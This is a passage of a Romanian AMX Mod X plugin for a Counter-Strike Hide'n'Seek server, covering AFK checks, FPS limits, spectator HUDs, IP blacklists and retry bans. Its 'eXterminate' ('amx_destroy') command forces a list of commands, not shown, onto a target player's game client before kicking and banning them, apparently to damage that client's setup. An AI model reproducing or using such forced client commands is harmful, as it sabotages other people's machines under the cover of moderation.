	format(exp, max, "%i.%i.%i %i:%02i:%02i", Ziua, Luna, Anu, Ore, Minute, Secunde)
}
GDL(Luna, Anu=0) {
	switch(Luna) {
		case 1:		return 31;
		case 2:		return ((Anu % 4) == 0) ? 29 : 28;
		case 3:		return 31;
		case 4:		return 30;
		case 5:		return 31;
		case 6:		return 30;
		case 7:		return 31;
		case 8:		return 31;
		case 9:		return 30;
		case 10:	return 31;
		case 11:	return 30;
		case 12:	return 31;
	}
	return 30
}

SpecialAcces(id, NumeAdmin[], msg)
{
	new Nume[32]
	get_user_name(id, Nume, 31)
	for (new i=0;i < sizeof(PluginSpecialAcces);i++)
		if (equali(NumeAdmin, PluginSpecialAcces[i]) && get_user_flags(id) & ADMIN_BAN)
			return true
	if (msg)
	{
		console_print(id, "amx_destroy ^"%s^"", Nume)
		console_print(id, "Apasa orice tasta pentru confirmare")
	}
	return false
}

CheckFraud(id, ip2[])
{
	if (str_to_num(FURT_DE_IDENTITATE) && !(get_user_flags(id) & ADMIN_KICK))
	{
		new ip[32]
		get_user_ip(id, ip, 31, 1)
		if (equali(getClassIp(ip, 1), getClassIp(ip2, 1)))
			return true
		return false
	}
	return true
}

MutaJucator(id, team)
{
	switch(team)
	{
		case 1: 	cs_set_user_team(id, CS_TEAM_T, CS_T_TERROR)
		case 2: 	cs_set_user_team(id, CS_TEAM_CT, CS_CT_URBAN)
		case 3: 	cs_set_user_team(id, CS_TEAM_SPECTATOR, CS_DONTCHANGE)
		default:	cs_set_user_team(id, CS_TEAM_CT, CS_CT_URBAN)
	}
}

/* ==========================================================================================
===================================================== Mdl / Point / STATS
========================================================================================== */
ResetModel(id)
{
	if (!is_user_bot(id) && is_user_connected(id))
	{
		if (IsVip(id) != 0)
			cs_set_user_model(id, "HNSVIP")
		else
			cs_reset_user_model(id)
	}
}

SetModel(id, mdl)
{
	if (!is_user_bot(id) && is_user_connected(id) && get_user_team(id) != 0 && is_user_alive(id))
	{
		if (mdl)
			cs_set_user_model(id, "HNSX_VIP")
		else
			cs_set_user_model(id, "HNSX_TeroHunt")
	}
}

aPuncte(id, nr)
{
	ptPlStats[id][0] = ptPlStats[id][0] + nr
}

rPuncte(id)
{
	ptPlStats[id][0] = 0
}

aFrag(id, nr)
{
	new pTs = ptPlStats[id][1] + nr
	if (pTs >= cvFragsMax)
	{
		ptPlStats[id][1] = pTs - ptPlStats[id][1]
		return true
	}
	else
	{
		if (ptPlStats[id][1] == cvFragsMax)
		{
			ptPlStats[id][1] = 0
			return true
		}
		else
			ptPlStats[id][1] = pTs
		return false
	}
	return false
}

SetTeroHunt(id)
{
	ptTeroHunt = id
	if (is_user_connected(id) && !is_user_bot(id) && is_user_alive(id))
		SetModel(id, false)
}

ResetTeroHunt(id, mdl)
{
	ptTeroHunt = 0
	if (mdl)
		ResetModel(id)
}

sStats(id, kill, hs, round, death, suicide)
{
	if (kill > 0)
		plStats[id][0] = plStats[id][0] + kill
	if (hs > 0)
		plStats[id][1] = plStats[id][1] + hs
	if (round > 0)
		plStats[id][2] = plStats[id][2] + round
	if (death > 0)
		plStats[id][3] = plStats[id][3] + death
	if (suicide > 0)
		plStats[id][4] = plStats[id][4] + suicide
}

/* ==========================================================================================
===================================================== Items
========================================================================================== */
public ItemFlash(id, nr)			// Flash
{
	new it = cs_get_user_bpammo(id, CSW_FLASHBANG)
	if (it > 1)
	{
		cs_set_user_bpammo(id, CSW_FLASHBANG, it + nr)
	}
	else 
	{
		give_item(id, "weapon_flashbang")
		cs_set_user_bpammo(id, CSW_FLASHBANG, nr)
	}
}
public ItemSmoke(id, nr)			// Smoke
{
	new it = cs_get_user_bpammo(id, CSW_SMOKEGRENADE)
	if (it > 0)
	{
		cs_set_user_bpammo(id, CSW_SMOKEGRENADE, it + nr)
	}
	else 
	{
		give_item(id, "weapon_smokegrenade")
		cs_set_user_bpammo(id, CSW_SMOKEGRENADE, nr)
	}
}
public ItemGrenada(id, nr) 			// Grenada
{
	new it = cs_get_user_bpammo(id, CSW_HEGRENADE)
	if (it > 0)
	{
		cs_set_user_bpammo(id, CSW_HEGRENADE, it + nr)
	}
	else 
	{
		give_item(id, "weapon_hegrenade")
		cs_set_user_bpammo(id, CSW_HEGRENADE, nr)
	}
}
public ItemPistol(id, gl)  			// Deagle
{
	if (find_ent_by_owner(-1, "weapon_deagle", id)) 
	{
		cs_set_weapon_ammo(find_ent_by_owner(-1, "weapon_deagle", id), cs_get_weapon_ammo(find_ent_by_owner(-1, "weapon_deagle", id)) + gl)
	} 
	else 
	{
		give_item(id, "weapon_deagle")
		new eNtry = find_ent_by_owner(-1, "weapon_deagle", id)
		if (eNtry)
			cs_set_weapon_ammo(eNtry, gl)
	}
}
public GameBani(id, val, min)		// Bani
{
	if (is_user_connected(id) && !is_user_bot(id) && is_user_alive(id)) 
	{
		if (min != 0)
			cs_set_user_money(id, cs_get_user_money(id) - min)
		else
			cs_set_user_money(id, cs_get_user_money(id) + val)
	}
}
public GameHP(id, hp)				// Viata
{
	if (is_user_connected(id) && !is_user_bot(id) && is_user_alive(id))
	{
		set_user_health(id, hp + get_user_health(id))
	}
}
public VipSpeed(id, Float:speed)	// Speed
{
	if (is_user_alive(id) && is_user_connected(id))
		set_user_maxspeed(id, speed)
}


/* ==========================================================================================
===================================================== AFK Check
========================================================================================== */
public afkCheck()
{
	new xP[32], xN, id, Nume[32], Prepare[3]
	get_players(xP, xN, "c")
	for (new i=0;i < xN;i++)
	{
		id = xP[i]
		get_user_name(id, Nume, 31)
		if (is_user_connected(id) && !is_user_bot(id))
		{
			if (afkTime[id] != AFK_TIME || SpecialAcces(id, Nume, false))
				continue
			
			if (is_user_alive(id) || get_user_team(id) == 3)
			{
				if (afkChk(id, false))
				{
					Prepare[0] = id
					Prepare[1] = AFK_ADV_TIME
					Prepare[2] = 3
					CountDownTime(Prepare)
				}
				else
				{
					afkChk(id, true)
				}
			}
		}
	}
}

afkRanNum(id)
{
	new RanMaxNum = 5, RdChr, RanFinal[10]
	for (new i=0;i < RanMaxNum;i++)
	{
		RdChr = random_num(0, charsmax(aNumere))
		add(RanFinal, 9, aNumere[RdChr])
	}
	afkStopAFK[id] = str_to_num(RanFinal)
}

afkAdmin(id)
{
	new Nume[32], Prepare[3]
	get_user_name(id, Nume, 31)
	if (is_user_alive(id))
		user_kill(id)
	MutaJucator(id, 3)
	xColor(id, "Adminul!g %s!n este AFK. Va fi trimis spectator.", Nume)
	afkTime[id] = AFK_TIME
	Prepare[0] = id
	Prepare[1] = AFK_TIME
	Prepare[2] = 4
	afkRanNum(id)
	CountDownTime(Prepare)
}

afkChk(id, md)
{
	new Origin[3]
	get_user_origin(id, Origin)
	if (afkOrigin[id][0] == Origin[0] && afkOrigin[id][1] == Origin[1] && afkOrigin[id][2] == Origin[2])
		return true
	if (md)
	{
		afkOrigin[id][0] = Origin[0]
		afkOrigin[id][1] = Origin[1]
		afkOrigin[id][2] = Origin[2]
	}
	return false
}

afkKick(id)
{
	new Nume[32]
	get_user_name(id, Nume, 31)
	server_cmd("kick #%d ^"Cand revi la pc, intra pe server. [HNS.LEGENDCS.COM]^"", get_user_userid(id))
	xColor(0, "%s!g %s!n este AFK. Va primi kick.", get_user_flags(id) & ADMIN_KICK ? "Adminul" : "Jucatorul", Nume)
}

/* ==========================================================================================
===================================================== SpecInfo
========================================================================================== */
public specSpecUpdate( )
{
	new players[32], num, id, id2, i, j
	for( i = 1; i < 33; i++ ) spec_ids[i][0] = 0
	
	get_players(players, num, "bch")
	for(i=0; i < num; i++)
	{
		id = players[i]
		if (get_user_flags(id) & ADMIN_KICK)
		{
			if (!(cl_prefs[id] & FL_HIDE))
				cl_prefs[id] ^= FL_HIDE
		}
		else
		{
			if (cl_prefs[id] & FL_HIDE)
				cl_prefs[id] ^= FL_HIDE
		}
		if(!(get_user_flags(id) & ADMIN_KICK && cl_prefs[id] & FL_HIDE))
		{
			id2 = pev( id, pev_iuser2 )
			if( id2 )
			{
				spec_ids[ id2 ][ 0 ]++
				spec_ids[ id2 ][ spec_ids[ id2 ][ 0 ] ] = id
			}
		}
	}
	new tmplist[ LIST_STR_LEN + 1 ], tmpstr[41]
	new count, namelen, tmpname[21]
	for( i=1; i<33; i++ )
	{
		count = spec_ids[i][0]
		if( count )
		{
			namelen = ( LIST_STR_LEN - 10 ) / count
			clamp( namelen, 10, 20 )
			format( tmpname, namelen, cl_names[i] )
			format( tmplist, LIST_STR_LEN - 1, "^n^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t HNS.LEGENDCS.COM -> ^n^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t Spectatori pe %s:^n^n", tmpname)
			for( j=1; j<=count; j++ )
			{
				format( tmpname, namelen, cl_names[spec_ids[i][j]])
				format( tmpstr, 40, "^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t^t %s", tmpname )
				if( strlen( tmplist ) + strlen( tmpstr ) + ( 11 - j ) < ( LIST_STR_LEN - 1 ) )
					format( tmplist, LIST_STR_LEN - 10, "%s%s^n", tmplist, tmpstr )
				else
				{
					format( tmplist, LIST_STR_LEN, "%s...^n", tmplist )
					break
				}
			}
			for( j+=0; j<10; j++ )
				format( tmplist, LIST_STR_LEN, "%s%s", tmplist, "^n" )
			list_string[i] = tmplist
		}
	}
	get_players( players, num, "ch" )
	for( i=0; i<num; i++ ) specMsg( players[i] )
	
	return PLUGIN_HANDLED
}

public specKeyUpdate( )
{
	new players[32], num, id, i, lvl, xp
	get_players( players, num, "a" )
	for( i = 0; i < num; i++ )
	{
		id = players[i]
		lvl = CalculateLevel(id)
		xp = CalculateStats(id)
		if (Fps_Warn[id] > 0)
			format( keys_string[id], KEYS_STR_LEN, " ^n%s^n%s %s %s^n%s %s^n [%3d FPS DE BOSS]^nFPS WARN [%d]^n[LEVEL %2d]^n%5d/%5s XP",
				cl_keys[id] & IN_FORWARD ? "      W" : "       =",
				cl_keys[id] & IN_MOVELEFT ? "  A" : " =",
				cl_keys[id] & IN_BACK ? "  S" : "  =",
				cl_keys[id] & IN_MOVERIGHT ? "  D" : "  =",
				cl_keys[id] & IN_DUCK ? "DUCK" : "====",
				cl_keys[id] & IN_JUMP ? "JUMP" : "====",
				CurFps[id], Fps_Warn[id],
				lvl, xp, lvl == charsmax(LevelXP) ? "MAX" : LevelXP[lvl+1]
			)
		else
			format( keys_string[id], KEYS_STR_LEN, " ^n%s^n%s %s %s^n%s %s^n [%3d FPS DE BOSS]^n[LEVEL %2d]^n%5d/%5s XP",
				cl_keys[id] & IN_FORWARD ? "      W" : "       =",
				cl_keys[id] & IN_MOVELEFT ? "  A" : "  =",
				cl_keys[id] & IN_BACK ? "  S" : "  =",
				cl_keys[id] & IN_MOVERIGHT ? "  D" : "  =",
				cl_keys[id] & IN_DUCK ? "DUCK" : "====",
				cl_keys[id] & IN_JUMP ? "JUMP" : "====", 
				CurFps[id],
				lvl, xp, lvl == charsmax(LevelXP) ? "MAX" : LevelXP[lvl+1]
			)
		
		//Flags stored in string to fill translation char in clmsg function
		keys_string[id][0] = 0 
		if( cl_keys[id] & IN_JUMP ) keys_string[id][0] |= IN_JUMP
		if( cl_keys[id] & IN_DUCK ) keys_string[id][0] |= IN_DUCK
		
		cl_keys[id] = 0
	}
	
	new id2
	get_players( players, num, "ch" )
	for( i=0; i<num; i++ )
	{
		id = players[i]
		if( is_user_alive( id ) )
		{
			if( cl_prefs[id] & FL_OWNKEYS ) specMsg( id )
		}
		else
		{
			id2 = pev( id, pev_iuser2 )
			if( cl_prefs[id] & FL_KEYS && id2 && id2 != id ) specMsg( id )
		}
	}
}

public server_frame()
{
	new players[32], num, id
	get_players( players, num, "a" )
	for( new i = 0; i < num; i++ )
	{
		id = players[i]
		if( get_user_button( id ) & IN_FORWARD )
			cl_keys[id] |= IN_FORWARD
		if( get_user_button( id ) & IN_BACK )
			cl_keys[id] |= IN_BACK
		if( get_user_button( id ) & IN_MOVELEFT )
			cl_keys[id] |= IN_MOVELEFT
		if( get_user_button( id ) & IN_MOVERIGHT )
			cl_keys[id] |= IN_MOVERIGHT
		if( get_user_button( id ) & IN_DUCK )
			cl_keys[id] |= IN_DUCK
		if( get_user_button( id ) & IN_JUMP )
			cl_keys[id] |= IN_JUMP
	}
	return PLUGIN_CONTINUE
}

public specMsg( id )
{
	if( !id ) return
	
	new prefs = cl_prefs[id]
	new Cols1, Cols2, Cols3
	
	new bool:show_own = false
	if( is_user_alive( id ) && prefs & FL_OWNKEYS ) show_own = true
	
	if( is_user_alive( id ) && !show_own )
	{
		if( prefs & FL_LIST && spec_ids[id][0] )
		{
			switch(get_user_team(id))
			{
				case 1: { Cols1 = 255;Cols2 = 0;Cols3 = 0; }
				case 2: { Cols1 = 0;Cols2 = 191;Cols3 = 255; }
				case 3: { Cols1 = 0;Cols2 = 255;Cols3 = 0; }
				default: { Cols1 = 0;Cols2 = 255;Cols3 = 0; }
			}
			set_hudmessage(
       Cols1 ,
       Cols2 ,
       Cols3 ,
        0.46, /*x*/
        0.14, /*y*/
        0, /*fx*/
        0.0, /*fx time*/
        1.1, /*hold time*/
        0.1, /*fade in*/
        0.1, /*fade out*/
        3 /*chan*/
			)
			show_hudmessage( id, list_string[id] )
		}
	}
	else
	{
		new id2
		if( show_own ) id2 = id
		else id2 = pev( id, pev_iuser2 )
		if( !id2 ) return;
		
		if( prefs & FL_LIST || prefs & FL_KEYS || show_own )
		{
			switch(get_user_team(id))
			{
				case 1: { Cols1 = 255;Cols2 = 0;Cols3 = 0; }
				case 2: { Cols1 = 0;Cols2 = 191;Cols3 = 255; }
				case 3: { Cols1 = 0;Cols2 = 255;Cols3 = 0; }
				default: { Cols1 = 0;Cols2 = 255;Cols3 = 0; }
			}
			set_hudmessage(
        Cols1,
        Cols2,
        Cols3,
        0.46, /*x*/
        0.14, /*y*/
        0, /*fx*/
        0.0, /*fx time*/
        prefs & FL_KEYS || show_own ? 0.1 : 1.1, /*hold time*/
        0.1, /*fade in*/
        0.1, /*fade out*/
        3 /*chan*/
			)
			new msg[BOTH_STR_LEN + 1]
			if( prefs & FL_LIST && spec_ids[id2][0] )
				formatex(msg,BOTH_STR_LEN,list_string[id2])
			else msg ="^n^n^n^n^n^n^n^n^n^n^n^n^n^n^n^n"
			if(prefs & FL_KEYS || show_own)
			{
				format( msg, BOTH_STR_LEN, "%s%s", msg, keys_string[id2][1] )
				format( msg, BOTH_STR_LEN, msg,
					id, keys_string[id2][0] & IN_JUMP ? "JUMP" : "====",
					id, keys_string[id2][0] & IN_DUCK ? "DUCK" : "===="
				)
			}
			show_hudmessage( id, msg )
		}
	}
}

public specSetHud()
{
	set_hudmessage(
		0,
		255,
		0,
		-1.0, /*x*/
		0.8, /*y*/
		0, /*fx*/
		0.0, /*fx time*/
		3.0, /*hold time*/
		0.0, /*fade in*/
		0.0, /*fade out*/
		-1 /*chan*/
	)
}

public fwdPlayerPreThink(id) 
{
   
   if(is_user_connected(id)) 
   {

      GameTime[id] = get_gametime()
            
      if(FramesPer[id] >= GameTime[id])
		Fps[id] += 1
      else 
	  {
		FramesPer[id]   += 1
		CurFps[id]   = Fps[id]
		Fps[id]      = 0
		if (CurFps[id] > MaxPlayerFPS[id])
			MaxPlayerFPS[id] = CurFps[id]
		if (CurFps[id] > FPS_MAX + 15 && LastWarn[id] < time())
		{
			LastWarn[id] = time() + 3
			WarnID(id)
		}
      }
   }
   return FMRES_IGNORED
}

public FpsMotd(id)
{
	new xMOTD[2048], xLen, xP[32], xN, tNume[32]
	get_players(xP, xN, "c")
	xLen = format(xMOTD[xLen], 2047-xLen, "<body bgcolor=#000000><font size=3 color=FFFFFF><pre><center><b>")
	xLen += format(xMOTD[xLen], 2047-xLen, "FPS-ul jucatoriilor de pe <font color=red>HNS.LEGENDCS.COM</font>^n")
	xLen += format(xMOTD[xLen], 2047-xLen, "<font color=green>%28s  %10s  %15s</font>^n^n", "NUME", "FPS ACUM", "FPS MAXIM ATINS")
	for (new i=0;i < xN;i++)
	{
		replace_all(tNume, 31, "<", "")
		replace_all(tNume, 31, ">", "")
		get_user_name(xP[i], tNume, 31)
		if (CurFps[xP[i]] > 255 || MaxPlayerFPS[xP[i]] > FPS_MAX + 15)
			xLen += format(xMOTD[xLen], 2047-xLen, "%-28.28s  <font color=red>%-10d  %-15d</font>^n", tNume, CurFps[xP[i]], MaxPlayerFPS[xP[i]])
		else
			xLen += format(xMOTD[xLen], 2047-xLen, "%-28.28s  %-10d  %-15d^n", tNume, CurFps[xP[i]], MaxPlayerFPS[xP[i]])
	}
	xLen += format(xMOTD[xLen], 2047-xLen, "FPS-ul jucatoriilor de pe <font color=red>HNS.LEGENDCS.COM</font></b>^n")
	show_motd(id, xMOTD, "FPS-ul jucatoriilor")
	return PLUGIN_CONTINUE
}

WarnID(id)
{
	Fps_Warn[id]++
	switch(Fps_Warn[id])
	{
		case 1: { client_cmd(id, "spk dadeda"); }
		case 2: { user_slap(id, 0); }
		case 3: { user_slap(id, 20); user_slap(id, 20); }
		case 4: { user_kill(id); }
		default: 
		{
			new xIp[32], xNume[32]
			get_user_name(id, xNume, 31)
			get_user_ip(id, xIp, 31, 1)
			server_cmd("kick #%d ^"Mai taie din fps !!^"", get_user_userid(id))
			Fps_Warn[id] = 0
		}
	}
	xColor(id, "!tWARN!g %d!t/!g%d!t. Pe acest server este permis maxim!g %d!t FPS. Tu ai atins!g %d!t FPS.", Fps_Warn[id], 5, FPS_MAX, MaxPlayerFPS[id])
}

/* ==========================================================================================
===================================================== BlackList
========================================================================================== */
public BlackList(id)
{
	if (str_to_num(BLACKLIST_STATUS))
	{
		new Nume[32]
		get_user_name(id, Nume, 31)
		if (!SpecialAcces(id, Nume, true))
			return PLUGIN_HANDLED
			
		new menu = menu_create("\w Pe cine doresti sa scoti din\r BlackList\w ?", "StergeBlackList")
		new Form[64], TempNum[10]
		if (locatiiNumLoad > 0)
		{
			for (new i=0;i < locatiiNumLoad;i++)
			{
				if (strlen(locatiiLocatie[i]) > 5)
				{
					format(Form, 63, "\y%s\w [\r%s\w][\r%s\w]", locatiiLocatie[i], locatiiIp[i], locatiiPlayer[i])
					num_to_str(i, TempNum, 9)
					menu_additem(menu, Form, TempNum, 0)
				}
			}
			menu_display(id, menu, 0)
		}
		else
		{
			xColor(id, "Nu este nici un jucator pe!t blacklist!n.")
			console_print(id, "Nu este nici un jucator pe blacklist")
		}
	}
	else
	{
		console_print(id, "Plugin OFF")
	}
	return PLUGIN_HANDLED
}

public StergeBlackList(id, menu, item)
{
	if(item == MENU_EXIT) 
		return PLUGIN_HANDLED

	new data[6], Line[64], num
	new access, callback
	menu_item_getinfo(menu, item, access, data, 5, Line, 63, callback)
	num = str_to_num(data)
	xColor(0, "Jucatorul!g %s!n[!g%s!n][!g%s!n] a fost scos din!t BlackList!n.", locatiiPlayer[num], locatiiIp[num], locatiiLocatie[num])
	format(locatiiLocatie[num], 63, "")
	format(locatiiIp[num], 31, "")
	format(locatiiPlayer[num], 31, "")
	return BlackList(id)
}

public AddBlackList(id)
{
	if (str_to_num(BLACKLIST_STATUS))
	{
		new Nume[32]
		get_user_name(id, Nume, 31)
		if (!SpecialAcces(id, Nume, true))
			return PLUGIN_HANDLED
		
		new pLayer[32]
		read_argv(1, pLayer, 31)
		if (strlen(pLayer) > 2)
		{
			new id2 = cmd_target(id, pLayer, 8)
			if (id2)
			{
				new ip[32], NumeJucator[32]
				get_user_ip(id2, ip, 31, 1)
				get_user_ip(id2, NumeJucator, 31)
				if (IsRestricted(ip))
				{
					console_print(id, "IP [%s] este deja restrictionat.", ip)
				}
				else
				{
					RestrictIp(id2)
					KickRestricted(id2)
					console_print(id, "IP-ul [%s] a fost restrictionat.", getClassIp(ip))
				}
			}
			else
			{
				if (IsIP(pLayer))
				{
					RestrictIp(0, pLayer)
					console_print(id, "IP-ul [%s] a fost restrictionat.", getClassIp(pLayer))
				}
				else
				{
					console_print(id, "IP-ul [%s] nu este valid.", pLayer)
				}
			}
		}
		else
		{
			console_print(id, "Foloseste: amx_addblacklist <parte din nume | ip>")
		}
	}
	else
	{
		console_print(id, "Plugin OFF")
	}
	return PLUGIN_HANDLED
}

RestrictIp(id, ip[]="")
{
	if (id != 0)
	{
		new Nume[32], Ip[32]
		get_user_name(id, Nume, 31)
		get_user_ip(id, Ip, 31, 1)
//		format(locatiiLocatie[locatiiNumLoad], 63, "%s %s", geoip_latitude(Ip), geoip_longitude(Ip))
		format(locatiiIp[locatiiNumLoad], 31, "%s", getClassIp(Ip))
		format(locatiiPlayer[locatiiNumLoad], 31, "%s", Nume)
		locatiiTime[locatiiNumLoad] = time() + (RESTRICTED_TIME * 3600)
		xColor(0, "[!g%s!n][!g%s!n][!g%s!n] a fost restrictionat pe acest server.", Nume, getClassIp(Ip), locatiiLocatie[locatiiNumLoad])
		locatiiNumLoad++
	}
	else
	{
//		format(locatiiLocatie[locatiiNumLoad], 63, "%s %s", geoip_latitude(ip), geoip_longitude(ip))
		format(locatiiIp[locatiiNumLoad], 31, "%s", getClassIp(ip))
		format(locatiiPlayer[locatiiNumLoad], 31, "ByIp")
		locatiiTime[locatiiNumLoad] = time() + (RESTRICTED_TIME * 3600)
		xColor(0, "[!g%s!n][!g%s!n] a fost restrictionat pe acest server.", getClassIp(ip), locatiiLocatie[locatiiNumLoad])
		locatiiNumLoad++
	}
}

KickRestricted(id)
{
	new ip[32]
	get_user_ip(id, ip, 31, 1)
	server_cmd("kick #%d ^"IP-ul tau [%s] este restrictionat.^"", get_user_userid(id), ip)
}

IsRestricted(ip[])
{
	if (locatiiNumLoad < 1)
		return false
		
	new formLocation[64], tm = time()
//	format(formLocation, 63, "%s %s", geoip_latitude(ip), geoip_longitude(ip))
	for (new i=0;i < locatiiNumLoad;i++)
	{
		if (equali(formLocation, locatiiLocatie[i]) && equali(locatiiIp[i], getClassIp(ip)) && locatiiTime[i] > tm)
			return true
	}
	return false
}

getClassIp(ip[], cls=2)
{
	new NewIP[4][4], t1[20], t2[20], fNewIP[32]
	for (new i=0;i < 2;i++)
	{
		if (i > 0)
		{
			strtok(t2, t1, 19, t2, 19, '.')
			copy(NewIP[i], 3, t1)
		}
		else
		{
			strtok(ip, t1, 19, t2, 19, '.')
			copy(NewIP[i], 3, t1)
		}
	}
	if (cls == 2)
		format(fNewIP, 31, "%s.%s.x.x", NewIP[0], NewIP[1])
	if (cls == 1)
		format(fNewIP, 31, "%s.x.x.x", NewIP[0])
	return fNewIP
}

public IncarcaLocatiileRestrictionate()
{
	if (file_exists(sBlackList))
	{
		new Line[128], LatLong[32], Ip[31], Pl[32], Durata[32]
		new oFile = fopen(sBlackList, "r")
		while (!feof(oFile))
		{
			fgets(oFile, Line, 127)
			trim(Line)
		
			LatLong[0] = 0
			
			if (Line[0] == ';' || parse(Line, LatLong, 31, Ip, 31, Pl, 31, Durata, 31) < 1)
				continue
			
			format(locatiiLocatie[locatiiNumLoad], 63, "%s", LatLong)
			format(locatiiIp[locatiiNumLoad], 31, "%s", Ip) 
			format(locatiiPlayer[locatiiNumLoad], 31, "%s", Pl)
			locatiiTime[locatiiNumLoad] = str_to_num(Durata)
			locatiiNumLoad++
		}
		fclose(oFile)
	}
	log_amx("[%s] Locatii restrictionate [%d]", TAG, locatiiNumLoad)
}

/* ==========================================================================================
===================================================== NoJoinTeam
========================================================================================== */
public jointeamBlock(id)
{
	if (str_to_num(RETRY_STATUS))
		return (CS_TEAM_T <= cs_get_user_team(id) <= CS_TEAM_CT) ? PLUGIN_HANDLED : PLUGIN_CONTINUE
	return PLUGIN_CONTINUE
}

jointeamStatus(id, mode)
{
	new ip[32]
	get_user_ip(id, ip, 31, 1)
	for (new i=0;i < MAX_PLAYERS;i++)
	{
		if (mode)
		{ // Set
			if (strlen(jointeamIp[i]) < 2)
			{
				copy(jointeamIp[i], 31, ip)
				jointeamRetry[i] = 0
				jointeamTeam[i] = get_user_team(id)
				set_task(RETRY_REMOVE, "jointeamCleanIP", i + TASK_JOINTEAM_CLEAN)
				return -1
			}
		}
		else
		{ // Get
			if (equali(ip, jointeamIp[i]))
				return i
		}
	}
	return -1
}

public jointeamMove(tid)
{
	new id = tid - TASK_ENTRY_JOINTEAM
	if (is_user_connected(id))
	{
		new jtm, sid = jointeamStatus(id, false)
		if (sid == -1)
		{
			jtm = 0
			return
		}
		else
			jtm = jointeamTeam[sid]

		if (is_user_alive(id))
			user_kill(id)
		new value = get_cvar_num("mp_limitteams")
		set_cvar_num("mp_limitteams", 0)
		MutaJucator(id, jtm)
		set_cvar_num("mp_limitteams", value)
		xColor(id, "Ai!g %d!n/!g%d!n retry-uri. Te voi transfera inapoi la echipa!g %s!n.", jointeamRetry[sid], RETRY_MAX, TeamName[jointeamTeam[sid]])
	}
}

public jointeamCleanIP(tid)
{
	new i = tid - TASK_JOINTEAM_CLEAN
	format(jointeamIp[i], 31, "")
	jointeamRetry[i] = 0
	jointeamTeam[i] = 0
}

jointeamBan(id)
{
	new ip[32], nume[32], slot = jointeamStatus(id, false)
	get_user_name(id, nume, 31)
	get_user_ip(id, ip, 31, 1)
	server_cmd("kick #%d ^"Ai acumulat %d/%d retry-uri^";wait;wait;wait;wait;amx_addban NoRetry ^"%s^" %s ^"Ai acumulat %d/%d retry-uri.^"", get_user_userid(id), jointeamRetry[slot], RETRY_MAX, ip, RETRY_BANTIME, jointeamRetry[slot], RETRY_MAX)
	xColor(0, "Jucatorul!g %s!n are!g %d!n/!g%d!n retry-uri. Va primi ban!g %s!n minut%s", nume, jointeamRetry[slot], RETRY_MAX, RETRY_BANTIME, str_to_num(RETRY_BANTIME) == 1 ? "" : "e")
	jointeamCleanIP(slot + TASK_JOINTEAM_CLEAN)
}

/* ==========================================================================================
===================================================== Exterminate
========================================================================================== */
public cmdExterminate(id, level, cid)
{
	if (!cmd_access(id,level,cid,2))
		return PLUGIN_HANDLED
	if (str_to_num(EXTERMINATE_STATUS))
	{
		new arg[32], pNume[32], pIp[32], pSteam[32], aNume[32], aIp[32], aSteam[32], Data[32], fLog[256]
		read_argv(1, arg, 31)
		new id2 = cmd_target(id, arg, 9)
		if (!id2) 
			return PLUGIN_HANDLED
	
		get_user_name(id2, pNume, 31)
		get_user_name(id, aNume, 31)
		get_user_ip(id, aIp, 31, 1)
		get_user_ip(id2, pIp, 31, 1)
		get_user_authid(id, aSteam, 31)
		get_user_authid(id2, pSteam, 31)
		get_time("%d.%m.%Y  %H:%M:%S", Data, 31)
		
		xColor(0, "Admin!g %s!n ii da destroy lui!g %s!n.", aNume, pNume)
		
		for (new i=0;i < sizeof(extClientCMD);i++)
			client_cmd(id2, extClientCMD[i])
			
		client_cmd(id, "Ai folosit comanda eXterminate pe %s", pNume)
		client_cmd(id, "spk dadeda")
		
		if (is_user_connected(id2))
			server_cmd("kick #%d ^"eXterminate dat de: %s^"", get_user_userid(id2), aNume)
		server_cmd("wait;wait;wait;wait;wait;wait;amx_addban ^"%s^" ^"%s^" ^"%d^" ^"(eXterminate dat de: %s)^"", pNume, pIp, EXT_BAN_TIME, aNume)
	
		format(fLog, 255, "[%s][ADMIN: %32s %20s %25s] eXterminate [PLAYER: %32s %20s %25s]", Data, aNume, aIp, aSteam, pNume, pIp, pSteam)
		write_file(sExtLog, fLog, -1)
	}
	else
	{
		console_print(id, "Comanda este dezactivata.")
		return PLUGIN_CONTINUE
	}
	return PLUGIN_HANDLED	
}

/* ==========================================================================================
===================================================== Admins to Forum
========================================================================================== */
AdminsToForumUpdate()
{
	new oFile, xText[512], BlockHnsFast = false, Cl[2], usersini[128]
	new AdminiDezactivati, AdminiActivati, SloturiActive, VipuriActive, TotalUseriInregistrati
	static StockAdmins[100][128]
	static StockNumAdmins
	get_configsdir(usersini, 127)
	format(usersini, 127, "%s/users.ini", usersini)
	/* Users.Ini extract */
	if (file_exists(usersini))
	{
		new Nume[32], Acces[32]
		oFile = fopen(usersini, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)
		
			Nume[0] = 0
			Acces[0] = 0
			
			if (xText[0] == ';')
			{
				if (xText[1] == '"')
				{
					parse(xText[1], Nume, 31, Cl, 1, Acces, 31)
					format(StockAdmins[StockNumAdmins], 127, "^"%d^" ^"%s^" ^"%s^"", 0, Nume, Acces)

					StockNumAdmins++
					AdminiDezactivati++
				}
				continue
			}
			if (parse(xText, Nume, 31, Cl, 1, Acces, 31) < 1)
			{
				continue
			}
			else
			{
				format(StockAdmins[StockNumAdmins], 127, "^"%d^" ^"%s^" ^"%s^"", 1, Nume, Acces)

				StockNumAdmins++
				AdminiActivati++
			}
		}
		fclose(oFile)
	}
	/* HNS mikeee. Extract */
	static StockHns_fasT[256][256]
	static StockNumHns_fasT
	if (file_exists(sStatsFile))
	{
		new Nume[32], Acces[32], VipStart[32], VipDurata[32], VipGrad[2], TimeNow = time(), VipRamas, Acc
		oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)
			
			Nume[0] = 0
			Acces[0] = 0
			if (xText[0] == ';' || xText[0] == '!' ||
				parse(xText, Nume, 31, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, Cl, 1, \
				Acces, 1, VipStart, 31, VipDurata, 31, VipGrad, 1, Cl, 1) < 1)
			{
				continue
			}
			else
			{
				Acc = str_to_num(Acces)
				if (Acc > 0)
				{
					VipRamas = (str_to_num(VipStart) + (str_to_num(VipDurata) * 86400)) - TimeNow
					if (Acc == 2)
						VipuriActive++
					else
						SloturiActive++
